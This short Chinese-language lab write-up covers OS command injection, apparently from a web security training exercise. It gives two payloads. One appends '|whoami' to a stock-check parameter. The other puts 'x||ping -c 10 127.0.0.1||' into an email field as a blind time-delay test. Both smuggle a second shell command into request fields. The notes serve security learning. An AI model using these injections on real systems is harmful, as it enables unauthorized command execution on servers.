操作系统命令注入

1.操作系统命令注入，简单案例
查看库存功能，底层系统命令直接拼接用户输入
productId=1&storeId=1

修改用户输入
productId=1&storeId=1|whoami
获得用户名

2.带时间延迟的盲操作系统命令注入
csrf=YjBAgvRBap3dOPN2T7JmHUitqKF1FnlF&name=1&email=11111111%40qq.com&subject=1&message=1

修改email参数：email=x||ping+-c+10+127.0.0.1||，使得响应延迟十秒发送
x||ping+-c+10+127.0.0.1||
||只有前面执行出错才会执行后面，ping+-c+10+127.0.0.1会ping本机10秒，sleep 10也可以